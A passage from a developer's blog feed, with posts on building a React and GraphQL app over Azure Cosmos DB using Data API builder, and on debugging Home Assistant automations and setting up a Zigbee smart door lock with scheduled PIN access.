Once the CLI has started you can browse the GraphQL schema in your choice of IDE by providing it with the address http://localhost:4280/data-api/graphql.

Building a React application

It’s time to build the React application, I won’t cover all the details (you’ll find the full example on my GitHub), instead I’ll focus on the GraphQL integration.

Since we have a TypeScript application, we can adapt the pattern I discussed in part 5 on type-safe GraphQL, using GraphQL Code Generator to generate the types for us. To do this, we’ll need to install the following packages to the frontend project:

`1`	`npm install -D @graphql-codegen/cli`

We’ll then initialise the GraphQL Code Generator:

`1`	`npx graphql-code-generator init`

Follow the setup guide to create the config file like so:

import type { CodegenConfig } from "@graphql-codegen/cli";

const config: CodegenConfig = {
  overwrite: true,
  schema: "http://localhost:4280/data-api/graphql",
  documents: ["src/**/*.tsx", "src/**/*.ts"],
  generates: {
    "src/gql/": {
      preset: "client",
      plugins: [],
    },
  },
};

export default config;

Great, we’re almost ready to go, the last thing we’re going to need is a GraphQL client, and for that, we’ll use Apollo Client, so let’s install that:

`1`	`npm install @apollo/client graphql`

Integrating GraphQL

It’s time to integrate GraphQL into our application, and I’m going to do that by creating a useQuestions hook, which will return the questions from the database. First, let’s create the hook:

import { graphql } from "./gql/gql";
import { useQuery } from "@apollo/client";
import { useEffect, useState } from "react";

const getQuestionsDocument = graphql(/* GraphQL */ `
  query getQuestions {
    questions(first: 10) {
      items {
        id
        question
        correct_answer
        incorrect_answers
      }
    }
  }
`);

This might error at the moment as the graphql function doesn’t exist, which is to be expected as we haven’t generated it yet via the GraphQL Code Generator. Let’s do that now:

`1`	`npm run codegen`

This assumes that the codegen script is in the package.json file, if not, you’ll need to run npx graphql-codegen instead.

With the error sorted, let’s continue with the hook. Initially we’ve defined the GraphQL query in the getQuestionsDocument variable, and then we’ve used the graphql function create a TypedDocumentNode which is the type that Apollo Client expects. Next, we’ll use the useQuery hook to execute the query, and then we’ll return the data from the query:

1
2
3

export const useQuestions = () => {
  const { data, loading } = useQuery(getQuestionsDocument);
};

Admittedly, we could just return the data.questions.items from the hook, but I don’t want to do that because the data structure contains two fields I’d prefer to merge, correct_answer and incorrect_answers, so that we can shuffle the answers in a random way and then have the application only know about all the answers as a single array. To do this, we’ll use the useEffect hook to merge the data, and then we’ll return the merged data:

export type QuestionModel = Omit<
  GetQuestionsQuery["questions"]["items"][0],
  "incorrect_answers"
> & {
  answers: string[];
};

export const useQuestions = () => {
  const { data, loading } = useQuery(getQuestionsDocument);
  const [questions, setQuestions] = useState<QuestionModel[] | undefined>(
    undefined
  );

  useEffect(() => {
    if (data) {
      setQuestions(
        data?.questions.items.map((question) => ({
          id: question.id,
          question: question.question,
          correct_answer: question.correct_answer,
          answers: arrayRandomizer(
            question.incorrect_answers.concat(question.correct_answer)
          ),
        }))
      );
    }
  }, [data]);

  return { questions, loading };
};

Since the questions that we return will have some of the same fields as the object returned from the original GraphQL query, we may as well use the Omit type to remove the incorrect_answers field from the QuestionModel type. We can then add the answers field to the type, which is an array of strings that contains the correct_answer and the incorrect_answers shuffled in a random order.

Now all that’s left is to add the Apollo Client provider to our React application:

import { ApolloClient, ApolloProvider, InMemoryCache } from "@apollo/client";
import React from "react";
import ReactDOM from "react-dom/client";
import App from "./App";
import "./index.css";

const client = new ApolloClient({
  uri: `/data-api/graphql/`,
  cache: new InMemoryCache(),
});

ReactDOM.createRoot(document.getElementById("root") as HTMLElement).render(
  <React.StrictMode>
    <ApolloProvider client={client}>
      <App />
    </ApolloProvider>
  </React.StrictMode>
);

And then use the hook in the App component (I’ll omit that for brevity, you can check it out in the GitHub repo). But with it all configured, here’s how it looks:

Conclusion

In this post we’ve taken a look at how we can use the new Database Connections feature of Azure Static Web Apps to connect to a Cosmos DB database and expose it as a GraphQL endpoint, without having to write the server ourself. We’ve also seen that this can be done entirely via the local emulator for SWA, allowing us to rapidly iterate over the application without having to deploy it each time.

While we didn’t go through the deployment aspect in this post specifically, you can learn how to do that through our docs.

GraphQL on Azure: Part 12 - GraphQL as a Service

website-contact@aaron-powell.com (Aaron Powell) — Wed, 15 Mar 2023 16:00:47 +0000

I’m really excited because today we launched the first public preview of Data API builder for Azure Databases or DAB for short (the official name is a bit of a mouthful 😅).

The important links you’ll need are:

What is DAB

DAB is a joint effort from the Azure SQL, PostgreSQL, MySQL and Cosmos DB teams to provide a simple and easy way to create REST and GraphQL endpoints from your existing database. Now obviously this is something that you’ve always been able to do, but the difference is that DAB does it for you (after all, that’s the point of this series 😜) so rather than having to write an ASP.NET application, data layer, authentication and authorisation, and so on, DAB will do all of that for you. Essentially, DAB is a Backend as a Service (BaaS) and this makes it easier to create an application over a database by removing the need to create the backend yourself.

Quick note: DAB doesn’t support REST for Cosmos DB as Cosmos DB already has a REST API.

How does DAB work

DAB is going to need a data schema that describes the entities you want to expose. In the case of a SQL backend, DAB will inspect the database schema and allow you to expose the tables, views and stored procedures as endpoints. With a NoSQL backend (currently Cosmos DB NoSQL) you need to provide a set of GraphQL types which define the entities you want expose, since there’s no database schema to work from.

You’ll also provide DAB with a config file which acts as a mapping between the data schema and how you want those entities exposed. In the config file you’ll define entities you want to expose (so you can pick and choose what you want to expose from the available schema), access control and entity relationships. If you’re working with a SQL database and have views or stored procedures, you can define how they will be exposed.

With this information DAB will then generate the appropriate REST endpoints for each entity with REST semantics on how CRUD should work, as well as a full GraphQL schema, including queries for individual items, paginated lists (with filtering) and mutations (create, update and delete).

Your first DAB instance

Sounds cool doesn’t it? Well, let’s go ahead and make a DAB server. The first thing we’ll need to do is install the DAB CLI:

`1`	`dotnet tool install --global Microsoft.DataApiBuilder`

The CLI is used to help us generate our config file, but also to run a local version of DAB. I’m going to use DAB with a Cosmos DB backend, just to show you how to go about creating a data schema for Cosmos, so you’ll either need a local emulator or deployed Cosmos DB instance (I like to use the cross-platform emulator in a devcontainer).

Let’s start by initialising the config file:

dab init --config dab-config.json --database-type cosmosdb_nosql --connection-string "..." --host-mode Development --cors-origin "http://localhost:3000" --cosmosdb_nosql-database trivia --graphql-schema schema.graphql

This will generate you a config file like so:

{
  "$schema": "https://dataapibuilder.azureedge.net/schemas/v0.5.34/dab.draft.schema.json",
  "data-source": {
    "database-type": "cosmosdb_nosql",
    "options": {
      "database": "Trivia",
      "schema": "schema.graphql"
    },
    "connection-string": "..."
  },
  "runtime": {
    "graphql": {
      "allow-introspection": true,
      "enabled": true,
      "path": "/graphql"
    },
    "host": {
      "mode": "development",
      "cors": {
        "origins": ["http://localhost:3000"],
        "allow-credentials": false
      },
      "authentication": {
        "provider": "StaticWebApps"
      }
    }
  },
  "entities": {}
}

Since this is Cosmos DB and we don’t have a database schema we can work with, we’re going to need to create some types in GraphQL for DAB to use:

type Question @model {
  id: String!
  question: String!
  correct_answer: String!
  incorrect_answers: [String!]!
}

This looks pretty standard as far as a GraphQL type is concerned, with the exception of a @model directive that’s been applied to the type. This directive is required to tell DAB that this is a type that we want to generate a full schema for (queries and mutations), and not a type that is a child of another type (in the case of a nested JavaScript object).

With our schema defined, we have to tell DAB how to retrieve documents from Cosmos that match that type, and that’s what the entities field in the config file is for. Let’s use the CLI to define a new entity:

`1`	`dab add Question --source questions --permissions "anonymous:*"`

This command is defining a new entity called Question, specifying that the collection (source) in Cosmos DB is questions and that we want to allow anonymous access to all operations on this entity. I’m being pretty lazy on the security, but if you want to do it properly you can define different roles and the access they have (create, read, update or delete) to the entity.

With this added our config file now looks like this:

{
  "$schema": "https://dataapibuilder.azureedge.net/schemas/v0.5.34/dab.draft.schema.json",
  "data-source": {
    "database-type": "cosmosdb_nosql",
    "options": {
      "database": "Trivia",
      "schema": "schema.graphql"
    },
    "connection-string": "..."
  },
  "runtime": {
    "graphql": {
      "allow-introspection": true,
      "enabled": true,
      "path": "/graphql"
    },
    "host": {
      "mode": "development",
      "cors": {
        "origins": ["http://localhost:3000"],
        "allow-credentials": false
      },
      "authentication": {
        "provider": "StaticWebApps"
      }
    }
  },
  "entities": {
    "Question": {
      "source": "questions",
      "permissions": [
        {
          "role": "*",
          "actions": ["*"]
        }
      ]
    }
  }
}

With the config file complete we can now the server:

`1`	`dab start`

Now we can load up the GraphQL endpoint, https://localhost:5001/graphql, in your preferred GraphQL IDE (I like to use Banana Cake Pop):

You’ll then see the whole GraphQL schema that was generated from the config file and GraphQL types provided:

It’s really cool, we have queries just magically generated for us!

type Query {
  """
  Get a list of all the Question items from the database
  """
  questions(
    """
    The number of items to return from the page start point
    """
    first: Int

    """
    A pagination token from a previous query to continue through a paginated list
    """
    after: String

    """
    Filter options for query
    """
    filter: QuestionFilterInput

    """
    Ordering options for query
    """
    orderBy: QuestionOrderByInput
  ): QuestionConnection!

  """
  Get a Question from the database by its ID/primary key
  """
  question_by_pk(id: ID, _partitionKeyValue: String): Question
}

This means we could write a query like this:

query {
  questions {
    items {
      id
      question
      correct_answer
      incorrect_answers
    }
  }
}

And when executed it’ll return all the documents:

You can even write complex filter queries that take a subset of the results:

query {
  questions(filter: { question: { contains: "What" } }, first: 10) {
    endCursor
    hasNextPage
    items {
      id
      question
      correct_answer
      incorrect_answers
    }
  }
}

Which will then give us an output such as:

{
  "data": {
    "questions": {
      "endCursor": "W3sidG9rZW4iOiIrUklEOn41anNMQU83WXk4TVhBQUFBQUFBQUFBPT0jUlQ6MSNUUkM6MTAjSVNWOjIjSUVPOjY1NTUxI1FDRjo4I0ZQQzpBZ0VBQUFBT0FCWUFnS0lBb05pUk5nUUxJQXdBIiwicmFuZ2UiOnsibWluIjoiIiwibWF4IjoiRkYifX1d",
      "hasNextPage": true,
      "items": [ ... ]
    }
  }
}

The endCursor is a token that can be used to get the next page of results, using the after input field, and the hasNextPage flag tells us if there are any more pages to get.

Conclusion

In this post we’ve looked at how to use GraphQL as a service on Azure, using the Data API builder project. It’s a really cool project that allows you to quickly get up and running with a GraphQL API (or REST if that’s your preference, but this series is GraphQL on Azure, not REST on Azure 😝).

With a few commands we can scaffold up DAB, define what the data schema we want to export looks like, connect to an existing database and then start serving up data.

Go check out the official announcement, and the GitHub repo, the docs and the samples and give it a try!

Building a Smart Home - Part 10 Debugging!

website-contact@aaron-powell.com (Aaron Powell) — Wed, 01 Mar 2023 07:20:28 +0000

When you get down to it, a smart home is partially a software solution, and like any good software solution there are bugs. I’ve recently been spending some time “debugging” my home, and I thought I’d share some of the things I’ve learned.

Case sensitivity

For home security, I have an automation that runs every night when my phone goes on the wireless charger to close the garage door and gate. This is to ensure that if I forget to close them, they will be closed before I go to bed. Here’s part of that automation:

alias: "Security: End of day"
description: ""
trigger:
  - platform: state
    entity_id:
      - sensor.aaron_s_phone_charger_type
    to: wireless
condition:
  - condition: time
    after: "21:00:00"
  - condition: state
    entity_id: group.persons
    state: Home

I didn’t think much of it, I just assumed the automation was working, but one day I noticed that the automation hadn’t run any of the actions. That’s weird, it says it ran, so I had a look at the traces for the automation and I found that it bailed out on the condition.

The group.persons entity is defined as so:

group:
  persons:
    name: All People
    entities:
      - person.aaron
      - person.mel

And I knew that we were both home, but looking back through the history it turned out the automation had never run. Ok, we’ve got a bug to fix. Having a look at the trace log for the automation, I noticed this when it hit the condition:

Result:
result: true
state: home
wanted_state: Home

sigh I had a typo in the automation, I had Home instead of home. I fixed the typo and the automation started working as expected… well, it actually uncovered another bug.

Why is the gate open

A few posts ago I wrote about controlling out motorised gate and it’s basically the same approach we have for the garage door (the motor operates in a very similar manner).

Let’s go back to the automation from the last section, and look at the actions:

alias: "Security: End of day"
description: ""
trigger:
  - platform: state
    entity_id:
      - sensor.aaron_s_phone_charger_type
    to: wireless
condition:
  - condition: time
    after: "21:00:00"
  - condition: state
    entity_id: group.persons
    state: home
action:
  - service: cover.close_cover
    data: {}
    target:
      entity_id:
        - cover.garage_door
        - cover.roller_gate
  - service: lock.lock
    data: {}
    target:
      entity_id: lock.0x000d6f0010c98b1e
mode: single

It does two things, calls cover.close_cover to close the garage and gate, and lock.lock to lock the front door. I can see in the trace that they run as expected, and thankfully the front door was locked, but why are the gate and garage door open?

Well, it turns out that the cover entities I had for both had a bug in them. I had defined them as so:

- platform: template
  covers:
    garage_door:
      device_class: garage
      friendly_name: "Garage Door"
      value_template: >-
        {% if is_state('binary_sensor.garage_door_contact','on') %}
          Open
        {% else %}
          Closed
        {% endif %}
      open_cover:
        - service: switch.turn_on
          data:
            entity_id: switch.garage_door
      close_cover:
        - service: switch.turn_on
          data:
            entity_id: switch.garage_door
      stop_cover:
        service: switch.turn_on
        data:
          entity_id: switch.garage_door
      icon_template: >-
        {% if is_state('binary_sensor.garage_door_contact','on') %}
          mdi:garage-open
        {% else %}
          mdi:garage
        {% endif %}

Can you see the problem? The close_cover (and open_cover for that matter) are defined to call switch.turn_on which triggers the Shelly to turn on and start the motor. The problem is, it will do this without first checking should it do it, the service doesn’t know the state of the garage or gate, that’s provided by a binary_sensor (from an Aqara contact sensor) and is only visually represented by the value_template and icon_template.

To fix this I had to change the close_cover (and open_cover) to have a condition that checks the door state first:

- platform: template
  covers:
    garage_door:
      device_class: garage
      friendly_name: "Garage Door"
      value_template: >-
        {% if is_state('binary_sensor.garage_door_contact','on') %}
          Open
        {% else %}
          Closed
        {% endif %}
      open_cover:
        - condition: state
          entity_id: binary_sensor.garage_door_contact
          state: "off"
        - service: switch.turn_on
          data:
            entity_id: switch.garage_door
      close_cover:
        - condition: state
          entity_id: binary_sensor.garage_door_contact
          state: "on"
        - service: switch.turn_on
          data:
            entity_id: switch.garage_door
      stop_cover:
        service: switch.turn_on
        data:
          entity_id: switch.garage_door
      icon_template: >-
        {% if is_state('binary_sensor.garage_door_contact','on') %}
          mdi:garage-open
        {% else %}
          mdi:garage
        {% endif %}

Now if the sensor returns “off”, which means the door is open, it can call switch.turn_on and close the garage, but if it’s “on” (the door is closed) it won’t call switch.turn_on and the garage door won’t move.

No more waking up to the garage door open!

Why did that light turn on

I’ve talked at length about how I control our fans and to make them better I added some Shelly’s so now the ceiling fans pretty much don’t get turned off, from a power standpoint, we just send the right RF signals.

Well, the other day at 1am my wife and I were rudely woken up to the light in our bedroom being on at fully brightness. Queue me fumbling around to grab my phone, open the HA app, finding it not responding for some reason and having to get out of bed to turn the light off (and wait the 10s for it to turn off - thanks to an automation).

This wasn’t the first time I’d noticed the fan light in our room turning on at random times and only the second time that it’d done it in the middle of the night to wake us up, so it was time to figure out what was going on.

When I was awake in the morning I went to the HA logs and found that the light was turned on by this automation:

alias: "Lighting: Toggle parents light on switch change"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.parents_bedroom_channel_1_input
      - binary_sensor.parents_bedroom_channel_2_input
 condition: []
action:
  - if:
      - conditions:
          - condition: template
            value_template: "{{ is_state(light, 'on') }}"
            alias: Light on
        then:
          - if:
              - condition: time
                after: "21:00:00"
            then:
              - delay:
                  hours: 0
                  minutes: 0
                  seconds: 10
                  milliseconds: 0
          - service: light.turn_off
            target:
              entity_id: "{{ light }}"
    else:
      - service: light.turn_on
        target:
          entity_id: "{{ light }}"
mode: single
variables:
  light: >-
    {{ 'light.parents_fan' if trigger.entity_id ==
    'binary_sensor.parents_bedroom_channel_1_input' else
    'light.parents_downlights' }}

In this case I’m using the Shelly’s in Detached Switch mode and relying on the automation to turn them on or off as required. The mistake I have here is what triggers we’re using, or more accurately, I have an assumption about the state that the switch can be to trigger the automation.

I incorrectly assumed that the state of the switch would be on or off, but it turns out there is at least one other state, unavailable. This state happens if the Shelly reboots, loses power or the network connection is lost. In this case the automation is triggered and the light is turned on.

Now Shelly’s are pretty stable devices, but the reason that I hit it this particular time is that we’d had a restart in our UDM from an update, so the network dropped briefly, the Shelly went to unable and then the automation triggered and turned the light on.

To fix this, I made the triggers a lot more specific, I really only care if you go from on to off, or vice versa, so I changed the automation triggers to:

trigger:
  - platform: state
    entity_id:
      - binary_sensor.parents_bedroom_channel_1_input
      - binary_sensor.parents_bedroom_channel_2_input
    to: "on"
    from: "off"
  - platform: state
    entity_id:
      - binary_sensor.parents_bedroom_channel_1_input
      - binary_sensor.parents_bedroom_channel_2_input
    to: "off"
    from: "on"

I also decided to use a choose action rather than an if and only handle the on and off case.

The light now works as expected and we haven’t had any more random light turning on in the middle of the night.

Why won’t the light turn off

From one light problem to another and again the culprit is the fan lights, but this time in our kids bedrooms. The kids have two lights in their room, the fan light and a wifi LED bulb in their lamp that can do a bunch of colours and effects, the main one we use being a nightlight effect. For their fan lights I have an automation that turns the light on or off, unless it’s after bed time, then instead of turning it off, it’ll turn the lamp to Night Light, which in turn turns the fan light off.

alias: "Lighting: Kids fan light switch toggle"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.kid1_room_input
      - binary_sensor.kid2_room_input
condition: []
action:
  - if:
      - condition: template
        value_template: "{{ is_state(light, 'on') }}"
    then:
      - if:
          - condition: time
            after: "18:45:00"
        then:
          - service: light.turn_on
            data:
              effect: Night light
            target:
              entity_id: "{{ lamp }}"
        else:
          - service: light.turn_off
            target:
              entity_id: "{{ light }}"
    else:
      - service: light.turn_on
        target:
          entity_id: "{{ light }}"
mode: single
variables:
  light: >-
    {{ 'light.kid1_fan' if trigger.entity_id ==
    'binary_sensor.kid1_room_input' else 'light.kid2_fan' }}
  lamp: >-
    {{ 'light.kid1_lamp' if trigger.entity_id ==
    'binary_sensor.kid2_room_input' else 'light.kid2_lamp' }}

It might seem like we have an overly complex set of automations, like the fact that we don’t always control the light from the switch, but using the nightlight like this works great as we can set the scene of the bedroom in one set of commands and it’s controllable from HA and the Google Home, so the kids can control it themselves.

But there’s a problem, what happens if it’s after 6.45pm and the lamp is already in Night Light mode? Well, the switch will set the effect but it doesn’t change anything which means that it doesn’t trigger the next automation in the chain, so the light stays on and there’s no way to turn it off (short of using the HA app). Yeah, this wasn’t wasn’t a great experience when I was helping our youngest change his PJ’s in the middle of a night after an accident, having to then fumble around turning the lamp off and back on to get it off the effect to then turn the fan light off.

Again, this was a relatively easy fix, I added an additional condition to check if the lamp had the effect set to Night Light and if it did, then don’t set it again, go to the turn off light step.

alias: "Lighting: Kids fan light switch toggle"
description: ""
trigger:
  - platform: state
    entity_id:
      - binary_sensor.angus_s_room_input
      - binary_sensor.reuben_s_room_input
condition: []
action:
  - if:
      - condition: template
        value_template: "{{ is_state(light, 'on') }}"
    then:
      - if:
          - condition: time
            after: "18:45:00"
          - condition: template
            value_template: >-
              {{ not is_state(lamp, 'unavailable') or not is_state(lamp, 'on')
              }}
        then:
          - service: light.turn_on
            data:
              effect: Night light
            target:
              entity_id: "{{ lamp }}"
        else:
          - service: light.turn_off
            target:
              entity_id: "{{ light }}"
    else:
      - service: light.turn_on
        target:
          entity_id: "{{ light }}"
mode: single
variables:
  light: >-
    {{ 'light.angus_fan' if trigger.entity_id ==
    'binary_sensor.angus_s_room_input' else 'light.reuben_fan' }}
  lamp: >-
    {{ 'light.anguss_lamp' if trigger.entity_id ==
    'binary_sensor.angus_s_room_input' else 'light.wiz_rgbw_tunable_355b12' }}

(I also check if the lamp isn’t unavailable as one of the bulbs tends to go offline randomly and can only be fixed by a power cycle… not ideal in the middle of the night).

Wrapping up

Ah debugging, who’d think I would have to do that of my own house, but here we are!

The problems that I’ve looked at here are really easy mistakes to make as a beginner with Home Assistant.

If you’re putting state-based conditions, ensure that you verify the case of the states that you’re testing against, especially if they are states that are generated by non-standard entities. Diving into the traces of the automations can be a great way to see what’s going on and why things aren’t working as expected.

Also, be aware of the states beyond the ones that you actually care about. Because I wasn’t taking into consideration the unavailable state, I was getting unexpected results - the lights were turning on. Having additional conditions to check for the states that you don’t care about can help to avoid these issues.

Lastly, when using templated entities, ensure that you know where the state is maintained. Because the state of my cover entities are separated from the entity itself - we’re using template to display the right label/icon, it didn’t actually know to not trigger the switch that opens/closes the garage/gate. But it’s an easy fix with conditions on the service calls.

With these fixes sorted out everyone is a lot happier. Sure, there’ll be more bugs to come, but knowing these things that can catch me out will help me to avoid them in the future.

Building a Smart Home - Part 9 Door Locks

website-contact@aaron-powell.com (Aaron Powell) — Mon, 13 Feb 2023 02:50:43 +0000

I really like the idea of having a smart door lock on our front door, something about the peace of mind that I can know if they door is locked or not, control access and all those things, so getting a “smart” lock was something I started researching long before we moved into our new house (even before we had doors installed! 🤣).

I’m going to refer to the locks as “smart” in quotes as generally speaking the locks themselves aren’t smart, it’s the systems around them that you build that are. Calling it a “connected lock” is probably more accurate, but semantics.

Requirements

While there are a lot of options on the market it was important for me to get the right one, and everyone has opinions on what constitutes right, so here are the things that I looked at (initially - I changed some stances over time and I’ll explain why later):

It integrates with our existing deadbolt
It still have key access
We can control who has access
It’s not cloud enabled
It integrates with Home Assistant
I can control it from my phone
It will report state
I don’t feel like I’m entering an office building

Exploring Options

I started doing research around and a few of the early contenders were the Danalock v3 and the August Smart Lock. These both satisfied a lot of the criteria, they retrofit to an existing deadbolt by replacing the back, meaning that the front is still a standard lock (so keys can be used), they integrate into Home Assistant (through an additional hub admittedly but still) and they can be controlled via a phone. But their biggest win was that they didn’t change the look of your door, there was no visibility that you had a “smart” lock installed, which seemed like a good idea for reducing potential attack vectors.

Another even more enticing option is the Level Bolt, as it is completely hidden inside the doorframe, which seems really neat! But it looks like it’s mostly designed for the Apple ecosystem, which I’m not invested in, so I dropped it (it might be exposed via HomeKit to Home Assistant, but it’d still require more hoops than I’d like).

So there’s a variety of options out there, so let’s start thinking about the usability of them.

Managing Access

Now that I had some product options in mind, it was time to start thinking about just how we’d use the lock. The primary users of the house are myself and my wife (the kids don’t need to be able to let themselves in yet, they’re a bit young for that still), but then we have secondary users, such as our cleaner, our parents, when we’re away either a house sitter or friend who will look after the pets, and now the useability is becoming more complex.

Thinking of the model that the Danalock or August represent - an app centric approach, we’d either be having to “onboard” a lot of people of varying technical skills or handing out keys. Fundamentally, we want to reduce the number of keys in circulation, that’s part of the point of having keyless access, but this was not really going to solve it. And this was the main point I needed to overcome in what I wanted out of a “smart” lock.

Exploring Options… Again

I was initially very much against the idea of having a NFC fob, digital PIN or similar for the door, to me this seemed like it would be very… office-y, and it was a home, not an office (which yes, both my wife and I work from home, so it is an office… BUT THAT’S BESIDES THE POINT! 😝).

It turns out that all three options above had digital PIN pads that you can get as addons, but now it’s starting to look expensive and complex, a lock, a bridge and a PIN pad, so I went looking at integrated options.

I ended up coming across the Yale Assure Keyed lock as I knew a few people who recommended them, I think it looks fairly slick, and most of all, it’s 100% offline - no cloud connectivity, everything is managed on the device, from the PIN’s generated, the profiles, the time those PINs are valid for, etc. Yale is also a reasonably well known brand within the lock-space, so it was reassuring that it wasn’t likely a company that could vanish and leave me with an unusable produce (interesting aside, August is actually a sub-brand of Yale).

But because I wanted it integrated with Home Assistant, I picked up a ZigBee network module and organised for our locksmith to come out (you can install it yourself, but we have a family friend who’s a locksmith and they were going to upgrade all our locks from the ones the builder installed as he said they were all woefully bad 😅):

Call a locksmith! pic.twitter.com/kaRJi16Tm5
— Aaron Powell (@slace) August 29, 2022

Integrating with Home Assistant

Since I’m using the ZigBee network module, integration with HA was reasonably trivial, I installed the module, put it into pairing mode and it joined my network:

There’s a heap of stuff that is exposed via the integration from the lock:

The control at the top is what you’d expect, an option to lock or unlock the lock, depending on its current state. The sensors are used it indicate that the lock is doing something, for example, when someone uses the PIN pad to unlock it will:

Set the Action to unlock
Set the Action source name to keypad
Set the Action user to the user ID that the PIN is associated with

These sensors are all then set to None immediately, so the value isn’t stored, but you could have an automation that triggers based on the (brief) state change.

I’m yet to play with the Configuration section, and Diagnostics is, well, just that - I only care about the battery level.

Automations

With the lock setup in HA we can now do automations with it and the first one I did was tackle a problem we had - forgetting to lock the door at night.

Auto-locking with NodeRED

For this one, I decided to experiment and use NodeRED, which is a visual workflow tool that can be used with HA (my friend Lars has a video on getting started if you want to check it out, but as an aside, I don’t really use NodeRED anymore, I find standard HA automations do the trick).

The way this automation works is that one of three events can trigger it, the time hits 9pm, it’s manually invoked, or my phone goes on the wireless charger (which we only have one of and it’s on our bedhead). When triggered, we read the state of the lock, which returns locked or unlocked and using a switch node we check for unlocked and if it is, it’ll call the service in HA to lock the lock and send a notification to my phone to tell me I forgot to lock the front door.

Advanced Automations

That automation is pretty simple, but let’s try something a bit more advanced. I was talking to my friend Tatham, who also has the Yale Assure lock, and he was telling me about some of the stuff he did with his, like issuing PINs and setting time windows. This made me think of an innovative way to handle our cleaners access. Our cleaner comes once a fortnight so we issued them a PIN to access the house, but I really don’t need that PIN to be active outside of the day they come, so, let’s set it up as a time-based PIN.

I started off by creating a boolean helper called cleaner_day, which we use to visually indicate that the cleaner is coming on our HA dashboard. I then adapted a pattern that Tatham had and defined three more helpers, a text helper for the PIN, a text helper for the user ID on the lock and a select helper to indicate the status of the PIN:

input_text:
  lock_cleaner_pin:
    name: "Lock: Cleaner PIN"
    icon: mdi:lock-smart
    pattern: "[0-9]{0,8}"
  lock_cleaner_id:
    name: "Lock: Cleaner User ID"
    initial: "20"
    icon: mdi:information-variant

input_select:
  lock_cleaner_status:
    name: "Lock: Cleaner PIN Provisioning Status"
    icon: mdi:lock-smart
    options:
      - Disabled
      - Pending
      - Registered
      - Failed

I created two automations that will enable/disable cleaner day:

- id: "1661944479647"
  alias: "Cleaner: Enable Cleaner Day"
  description: ""
  trigger:
    - platform: time
      at: 05:00:00
  condition:
    - condition: time
      weekday:
        - wed
    - condition: template
      value_template:
        "{{(as_timestamp(now())|timestamp_custom ('%U') | int % 2) ==
        0 }}"
  action:
    - service: input_boolean.turn_on
      data: {}
      target:
        entity_id: input_boolean.cleaner_day
- id: "1661944938684"
  alias: "Cleaner: Disable Cleaner Day"
  description: ""
  trigger:
    - platform: time
      at: "23:00:00"
  condition:
    - condition: time
      weekday:
        - wed
    - condition: state
      entity_id: input_boolean.cleaner_day
      state: "on"
  action:
    - service: input_boolean.turn_off
      data: {}
      target:
        entity_id: input_boolean.cleaner_day
  mode: single

Both automations run on Wednesday (the day they come) but the “enable” only runs on every second one. I could probably improve the enabling Cleaner Day using some of the new features around events, but this works.

Now that HA knows that it’s the day the cleaner is coming, we can have another automation run to enable their PIN.

alias: "Security: Cleaner PIN Enable/Disable"
mode: queued
trigger:
  - platform: state
    entity_id:
      - input_boolean.cleaner_day
action:
  - variables:
      user_id: "{{ states('input_text.lock_cleaner_id') | int }}"
      user_enabled: "{{ is_state('input_boolean.cleaner_day', 'on') }}"
      user_pin: "{{ states('input_text.lock_cleaner_pin') }}"
  - service: input_select.select_option
    target:
      entity_id: input_select.lock_cleaner_status
    data:
      option: Pending
  - service: mqtt.publish
    data:
      topic: zigbee2mqtt/<friendly name>/set
      payload_template: |
        {{
          {
            "pin_code":
            {
              "user": user_id,
              "user_type": "unrestricted",
              "user_enabled": user_enabled,
              "pin_code": user_pin if user_enabled else None
            }
          } | to_json
        }}
  - wait_for_trigger:
      - id: active_confirmation
        platform: mqtt
        topic: zigbee2mqtt/<friendly name>/action
        payload: "{{ 'pin_code_added' if user_enabled else 'pin_code_deleted' }}"
    timeout:
      minutes: 1
  - choose:
      - conditions: "{{ wait.trigger.id == 'active_confirmation' }}"
        sequence:
          - service: input_select.select_option
            target:
              entity_id: input_select.lock_cleaner_status
            data:
              option: "{{ 'Registered' if user_enabled else 'Disabled' }}"
    default:
      - service: input_select.select_option
        target:
          entity_id: input_select.lock_cleaner_status
        data:
          option: Failed

Now the first thing you might wonder is why this is a separate automation and not bundled into the other ones. Well the primary reason is so that if we had an additional day that we book the cleaner for, we can manually change the cleaner_day helper and this automation will run.

This automation is somewhat complex, so let’s break it down. First, we’re going to use some variables for the important data, rather than constantly using the entity IDs:

- variables:
    user_id: "{{ states('input_text.lock_cleaner_id') | int }}"
    user_enabled: "{{ is_state('input_boolean.cleaner_day', 'on') }}"
    user_pin: "{{ states('input_text.lock_cleaner_pin') }}"

We’ll then report that we’re provisioning PIN access for the cleaner:

- service: input_select.select_option
  target:
    entity_id: input_select.lock_cleaner_status
  data:
    option: Pending

This is mostly for some debugging workflows, but I do find it somewhat useful to know this. Now we’re going to have to instruct the lock that we’re changing a PIN. Since I’m using ZigBee2MQTT we can fire MQTT messages to the lock, and one of those is updating the PIN by providing a JSON payload:

- service: mqtt.publish
  data:
    topic: zigbee2mqtt/<friendly name>/set
    payload_template: |
      {{
        {
          "pin_code":
          {
            "user": user_id,
            "user_type": "unrestricted",
            "user_enabled": user_enabled,
            "pin_code": user_pin if user_enabled else None
          }
        } | to_json
      }}

We grab the variables defined earlier and add that to some hardcoded stuff. The user_type is set to unrestricted, as this field is used to create schedules on the lock itself, but we manage that in HA so unrestricted is fine as it basically says “this user is known and allowed, let them in”. For the pin_code field, we either set it to their PIN, or set it to “null” (via None) if they are having access disabled. You could do this slightly differently by setting the user_type to non_access and not messing with the PIN, as that means they are recognised but don’t have access, but I find this works just as well.

Lastly, we wait for a minute to get a MQTT response, and update the provisioning state with the outcome, or set it to Failed if it times out.

Here is it in action on the dashboard:

I have a similar automation that will run when the PIN of any user in our system changes, such as the House Sitter PIN, which is randomly generated when we enable House Sitter access so each time we have a new PIN that only exists for the duration of their stay, and set the input_text.house_sitter_pin which then triggers an automation to activate/deactivate any PIN:

alias: "Security: User PIN Change"
mode: queued
trigger:
  - platform: state
    entity_id:
      - input_text.lock_house_sitter_pin
      - input_text.lock_cleaner_pin
      - input_text.lock_guest_pin
      - input_text.lock_aaron_pin
      - input_text.lock_mel_pin
      - input_text.lock_mel_parents_pin
      - input_text.lock_aaron_parents_pin
    variables:
      user_id: >-
        {{ states(trigger.entity_id | regex_replace(find='_pin', replace='_id',
        ignorecase=False)) | int }}
      status_entity_id: >-
        {{ trigger.entity_id | regex_replace(find='_pin', replace='_status',
        ignorecase=False) | regex_replace(find='_text', replace='_select',
        ignorecase=False) }}
action:
  - variables:
      pin: "{{ states(trigger.entity_id) }}"
      user_enabled: "{{ not is_state(trigger.entity_id, '') }}"
  - service: input_select.select_option
    target:
